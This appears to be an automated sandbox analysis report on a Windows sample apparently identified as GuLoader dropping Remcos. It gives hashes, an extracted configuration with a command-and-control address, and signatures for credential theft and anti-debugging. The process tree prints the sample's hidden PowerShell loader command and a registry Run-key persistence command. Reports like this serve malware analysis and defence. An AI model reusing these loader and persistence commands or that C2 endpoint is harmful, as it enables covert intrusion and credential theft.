Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-09-2024 02:25

General

  • Target

    c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe

  • Size

    971KB

  • MD5

    7bd1cce43f6b48c8ddd492e5711fd17f

  • SHA1

    3f650d8993c542682aa61c725ea1bb4ee93d259a

  • SHA256

    c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b

  • SHA512

    fe804b78cd734192664366364b099a5676d58101b9fe03c40c925cfe1cc202a99e04094d0fa93338ed831015d7ccd2ede88f04ab3cf6410542853a5a228face2

  • SSDEEP

    12288:5Ly0SryvXRpHnez0SBkasZa0kITLwn096zdZEkINz3WSV3:5Ly0SG/zHMBbsZadi80qZgNz3R

Malware Config

Extracted

Family

remcos

Botnet

Rem_doc2

C2

107.173.4.16:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-DSGECX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 8 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe
    "C:\Users\Admin\AppData\Local\Temp\c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Headcloths=Get-Content 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Papyr.paa';$Antinovels=$Headcloths.SubString(57477,3);.$Antinovels($Headcloths)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3240
      • C:\Users\Admin\AppData\Local\Temp\Conspect124.exe
        "C:\Users\Admin\AppData\Local\Temp\Conspect124.exe"
        3⤵
        • Checks computer location settings
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3860
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Begunstigelses% -windowstyle minimized $Hjtryksryg=(Get-ItemProperty -Path 'HKCU:\Forseglingens\').Drenching;%Begunstigelses% ($Hjtryksryg)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4924
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Begunstigelses% -windowstyle minimized $Hjtryksryg=(Get-ItemProperty -Path 'HKCU:\Forseglingens\').Drenching;%Begunstigelses% ($Hjtryksryg)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:4528
        • C:\Users\Admin\AppData\Local\Temp\Conspect124.exe
          C:\Users\Admin\AppData\Local\Temp\Conspect124.exe /stext "C:\Users\Admin\AppData\Local\Temp\pinaqtxyk"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2284
        • C:\Users\Admin\AppData\Local\Temp\Conspect124.exe
          C:\Users\Admin\AppData\Local\Temp\Conspect124.exe /stext "C:\Users\Admin\AppData\Local\Temp\zcssrmhsxooo"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook accounts
          • System Location Discovery: System Language Discovery
          PID:1252
        • C:\Users\Admin\AppData\Local\Temp\Conspect124.exe
          C:\Users\Admin\AppData\Local\Temp\Conspect124.exe /stext "C:\Users\Admin\AppData\Local\Temp\cfxdkesulwgbedh"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4720

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Conspect124.exe

    Filesize

    971KB

    MD5

    7bd1cce43f6b48c8ddd492e5711fd17f

    SHA1

    3f650d8993c542682aa61c725ea1bb4ee93d259a

    SHA256

    c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b

    SHA512

    fe804b78cd734192664366364b099a5676d58101b9fe03c40c925cfe1cc202a99e04094d0fa93338ed831015d7ccd2ede88f04ab3cf6410542853a5a228face2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0vorkjua.ymz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\pinaqtxyk

    Filesize

    4KB

    MD5

    18db1829b27eaeed163c211f5d179d72

    SHA1

    4442332494cba1e012f8876ecac42126ba995bc6

    SHA256

    610c5ee3f0e63441521d26bc477c9618a4c5f86e93d31b31890680c69e3ecc3d

    SHA512

    123d68b2c84f7a52d15faa212c06f33b04a55585e2aeb16bb14df95b18c0bcf31933e5bf0c736c90bc054b9527fccb046540d3302a0f149ebeed7c6bcca0b986

  • C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Epochally.Puk

    Filesize

    342KB

    MD5

    7e58d69270577649e3fec5909c0e0f20

    SHA1

    c92de1cdd263a8afab112624f7fe3dd991b11bc3

    SHA256

    d9271baaae1e38c317ab57e2e2ca4a0f3448b23adb16af5894f0a55f3ccf5728

    SHA512

    b1c38694c80459b66dc7a34017d6f6a11c57251e9eb6e4f96d14bde9917b0b4d3d85b2875aaf550ce2159dc119ede91705e0a4ab9a7ff78d81f4d20110667ee4

  • C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Papyr.paa

    Filesize

    56KB

    MD5

    21f8b55eff5453c6e94223b12647704a

    SHA1

    8938162c626c171d76f37deebc2534e53d1870ed

    SHA256

    6d09c0544b4419ff08386626e6609b03036c999da12afb6ad3f1beb2673c0894

    SHA512

    e87a707edc2147a63e49900446cdf3eaab287b71b1ea0779a2dc4d696b543692b8e9d85e510b8343f0083f25f8df8349ce68010fec40029d6e09151a98fa92f3

  • memory/1252-74-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1252-80-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1252-72-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1252-84-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2284-69-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2284-71-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2284-65-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2284-68-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2284-90-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3240-30-0x0000000007F30000-0x00000000084D4000-memory.dmp

    Filesize

    5.6MB

  • memory/3240-20-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-29-0x0000000006E80000-0x0000000006EA2000-memory.dmp

    Filesize

    136KB

  • memory/3240-32-0x0000000008B60000-0x00000000091DA000-memory.dmp

    Filesize

    6.5MB

  • memory/3240-34-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-35-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-36-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-28-0x0000000006E20000-0x0000000006E3A000-memory.dmp

    Filesize

    104KB

  • memory/3240-38-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-39-0x000000007415E000-0x000000007415F000-memory.dmp

    Filesize

    4KB

  • memory/3240-40-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-41-0x00000000091E0000-0x000000000E746000-memory.dmp

    Filesize

    85.4MB

  • memory/3240-42-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-43-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-46-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-27-0x00000000078E0000-0x0000000007976000-memory.dmp

    Filesize

    600KB

  • memory/3240-8-0x0000000003340000-0x0000000003376000-memory.dmp

    Filesize

    216KB

  • memory/3240-10-0x0000000074150000-0x0000000074900000-memory.dmp

    Filesize

    7.7MB

  • memory/3240-9-0x0000000005A20000-0x0000000006048000-memory.dmp

    Filesize

    6.2MB

  • memory/3240-11-0x0000000005920000-0x0000000005942000-memory.dmp

    Filesize

    136KB

  • memory/3240-12-0x0000000006150000-0x00000000061B6000-memory.dmp

    Filesize

    408KB

  • memory/3240-13-0x00000000061C0000-0x0000000006226000-memory.dmp

    Filesize

    408KB

  • memory/3240-26-0x0000000006990000-0x00000000069DC000-memory.dmp

    Filesize

    304KB

  • memory/3240-25-0x00000000068F0000-0x000000000690E000-memory.dmp

    Filesize

    120KB

  • memory/3240-24-0x00000000062F0000-0x0000000006644000-memory.dmp

    Filesize

    3.3MB

  • memory/3240-7-0x000000007415E000-0x000000007415F000-memory.dmp

    Filesize

    4KB

  • memory/3860-97-0x0000000023E60000-0x0000000023E79000-memory.dmp

    Filesize

    100KB

  • memory/3860-63-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-108-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-107-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-96-0x0000000023E60000-0x0000000023E79000-memory.dmp

    Filesize

    100KB

  • memory/3860-106-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-59-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-98-0x0000000077BA1000-0x0000000077CC1000-memory.dmp

    Filesize

    1.1MB

  • memory/3860-51-0x0000000077BA1000-0x0000000077CC1000-memory.dmp

    Filesize

    1.1MB

  • memory/3860-49-0x0000000077BA1000-0x0000000077CC1000-memory.dmp

    Filesize

    1.1MB

  • memory/3860-47-0x0000000001730000-0x0000000006C96000-memory.dmp

    Filesize

    85.4MB

  • memory/3860-93-0x0000000023E60000-0x0000000023E79000-memory.dmp

    Filesize

    100KB

  • memory/3860-105-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-104-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-50-0x0000000077C28000-0x0000000077C29000-memory.dmp

    Filesize

    4KB

  • memory/3860-99-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-100-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-101-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-102-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/3860-103-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4720-87-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4720-83-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4720-75-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4720-81-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4720-85-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB